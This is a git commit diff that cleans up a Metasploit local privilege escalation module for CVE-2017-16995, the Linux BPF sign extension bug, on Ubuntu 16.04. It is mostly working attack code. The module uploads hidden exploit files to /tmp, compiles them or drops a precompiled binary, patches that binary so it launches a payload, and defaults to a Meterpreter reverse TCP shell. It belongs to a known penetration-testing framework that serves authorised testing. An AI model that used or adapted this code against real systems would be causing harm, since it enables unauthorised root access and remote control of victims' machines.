Cleanup and refactor upload_and_compile
parent
c72ca7544b
commit
9a3064ad7e
|
@ -4,107 +4,123 @@
|
|||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Post::Linux::Kernel
|
||||
include Msf::Post::File
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info, {
|
||||
'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
def initialize(info = {})
|
||||
super( update_info( info,
|
||||
'Name' => 'Ubuntu BPF Sign Extension Local Privilege Escalation',
|
||||
'Description' => %q{
|
||||
Linux kernel prior to 4.13.0 utilizes the Berkeley Packet Filter
|
||||
which contains a vulnerability where it may improperly perform
|
||||
sign extension. This can be utilized to priv escalate,
|
||||
this module has been tested on Ubuntu 16.04 with the 4.4.0-116
|
||||
kernel, and Linux Mint 18 with the 4.4.0-116-generic kernel.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'bleidl', # discovery
|
||||
'vnik', # edb
|
||||
'h00die' # metasploit module
|
||||
],
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell'],
|
||||
'References' =>
|
||||
'Platform' => [ 'linux' ],
|
||||
'Arch' => [ ARCH_X86, ARCH_X64 ],
|
||||
'SessionTypes' => [ 'shell' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2017-16995' ],
|
||||
[ 'EDB', '44298' ],
|
||||
[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
|
||||
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
|
||||
],
|
||||
'Targets' =>
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Linux x64', { 'Arch' => ARCH_X64 } ],
|
||||
[ 'Linux x86', { 'Arch' => ARCH_X86 } ]
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'payload' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
'PrependFork' => true,
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
'PrependFork' => true
|
||||
},
|
||||
'DisclosureDate' => 'Nov 12 2017',
|
||||
'Privileged' => true
|
||||
}
|
||||
))
|
||||
register_options([
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
|
||||
])
|
||||
'Privileged' => true,
|
||||
'DefaultTarget' => 0))
|
||||
register_options [
|
||||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
|
||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w(Auto True False) ]),
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir']
|
||||
end
|
||||
|
||||
def command_exists?(cmd)
|
||||
cmd_exec("command -v #{cmd} && echo true").include? 'true'
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
cmd_exec "chmod +x '#{path}'"
|
||||
end
|
||||
|
||||
def check
|
||||
uname = cmd_exec('uname -r')
|
||||
if uname == '4.4.0-116-generic'
|
||||
vprint_good('Kernel confirmed vulnerable')
|
||||
if session.type.to_s.eql? 'meterpreter'
|
||||
print_error('Exploit can only be run on shells (meterpreter does not work)')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
return CheckCode::Appears
|
||||
version = kernel_release
|
||||
unless version.start_with? '4.4.0-116-generic'
|
||||
vprint_error "Kernel version #{version} is not vulnerable"
|
||||
end
|
||||
print_error('Kernel not vulnerable')
|
||||
CheckCode::Safe
|
||||
vprint_good "Kernel version #{version} appears to be vulnerable"
|
||||
|
||||
if session.type.to_s.eql? 'meterpreter'
|
||||
vprint_error 'Exploit can only be run on command shell sessions (Meterpreter does not work)'
|
||||
end
|
||||
|
||||
CheckCode::Appears
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
# a method to upload files consistently, and compile if necessary
|
||||
def upload_and_compile(filename, file_path, file_content, compile=nil)
|
||||
rm_f "#{file_path}"
|
||||
if compile.nil?
|
||||
vprint_status("Writing #{filename} to #{file_path}")
|
||||
write_file(file_path, file_content)
|
||||
else
|
||||
rm_f "#{file_path}.c"
|
||||
vprint_status("Writing #{filename} to #{file_path}.c")
|
||||
write_file("#{file_path}.c", file_content)
|
||||
register_file_for_cleanup("#{file_path}.c")
|
||||
output = cmd_exec(compile)
|
||||
unless output.blank?
|
||||
print_error(output)
|
||||
fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
|
||||
end
|
||||
end
|
||||
cmd_exec("chmod +x #{file_path}")
|
||||
register_file_for_cleanup(file_path)
|
||||
if session.type.to_s.eql? 'meterpreter'
|
||||
fail_with Failure::BadConfig, 'Exploit can only be run on command shell sessions (Meterpreter does not work)'
|
||||
end
|
||||
|
||||
|
||||
unless check == CheckCode::Appears
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
||||
fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges'
|
||||
end
|
||||
|
||||
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
compile = false
|
||||
if datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
|
||||
if command_exists? 'gcc'
|
||||
vprint_good 'gcc is installed'
|
||||
compile = true
|
||||
else
|
||||
unless datastore['COMPILE'].eql? 'Auto'
|
||||
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
c_code = %q{
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
@ -234,6 +250,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
static void prep(void) {
|
||||
mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
|
||||
|
||||
if (mapfd < 0)
|
||||
__exit(strerror(errno));
|
||||
|
||||
|
@ -346,52 +363,41 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
}
|
||||
|
||||
filename = rand_text_alpha(8)
|
||||
exploit_path = "#{datastore['WritableDir']}/#{filename}"
|
||||
exploit_name = ".#{rand_text_alphanumeric 8..12}"
|
||||
exploit_path = "#{base_dir}/#{exploit_name}"
|
||||
|
||||
def check_gcc?()
|
||||
gcc = cmd_exec('which gcc')
|
||||
if gcc.include?('gcc')
|
||||
vprint_good('gcc is installed')
|
||||
return true
|
||||
else
|
||||
print_error('gcc is not installed. Compiling will fail.')
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
compile = false
|
||||
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
|
||||
compile = true if check_gcc?
|
||||
end
|
||||
# exploit name must be 7 characters to allow sting replacement
|
||||
# in the pre-compiled binary
|
||||
payload_name = ".#{rand_text_alphanumeric 7}"
|
||||
payload_path = "#{base_dir}/#{payload_name}"
|
||||
|
||||
if compile
|
||||
vprint_status('Live compiling exploit on system')
|
||||
payload_filename = rand_text_alpha(8)
|
||||
payload_path = "#{datastore['WritableDir']}/#{payload_filename}"
|
||||
vprint_status 'Live compiling exploit on system...'
|
||||
c_code.gsub!(%r{/bin/bash}, payload_path)
|
||||
upload "#{exploit_path}.c", c_code
|
||||
output = cmd_exec "gcc -o #{exploit_path} #{exploit_path}.c"
|
||||
|
||||
# make our substitutions so things are dynamic
|
||||
c_code.gsub!(/system\("\/bin\/bash"\);/,
|
||||
"system(\"#{payload_path}\");") #launch our payload, and do it in a return to not freeze the executable
|
||||
print_status('Writing files to target')
|
||||
#cmd_exec("cd #{datastore['WritableDir']}")
|
||||
unless output.blank?
|
||||
print_error output
|
||||
fail_with Failure::Unknown, "#{exploit_path}.c failed to compile"
|
||||
end
|
||||
|
||||
cmd_exec "chmod +x #{exploit_path}"
|
||||
else
|
||||
vprint_status('Dropping pre-compiled exploit on system')
|
||||
compiled_path = ::File.join( Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out')
|
||||
fd = ::File.open( compiled_path, "rb")
|
||||
c_code = fd.read(fd.stat.size)
|
||||
vprint_status 'Dropping pre-compiled exploit on system...'
|
||||
compiled_path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', 'exploit.out'
|
||||
fd = ::File.open compiled_path, 'rb'
|
||||
exploit_data = fd.read fd.stat.size
|
||||
fd.close
|
||||
|
||||
# use the variable names hard coded in the compiled versions
|
||||
payload_filename = 'JDQDHtEG'
|
||||
payload_path = '/tmp/JDQDHtEG'
|
||||
exploit_data.gsub!(%r{/tmp/JDQDHtEG}, payload_path)
|
||||
upload_and_chmodx exploit_path, exploit_data
|
||||
end
|
||||
upload_and_compile(filename, exploit_path, c_code, compile ? "gcc -o #{exploit_path} #{exploit_path}.c" : nil)
|
||||
upload_and_compile(payload_filename, payload_path, generate_payload_exe)
|
||||
|
||||
print_status("Starting execution of priv esc: #{exploit_path}")
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
output = cmd_exec(exploit_path)
|
||||
print_status 'Launching exploit...'
|
||||
output = cmd_exec exploit_path
|
||||
output.each_line { |line| vprint_status line.chomp }
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue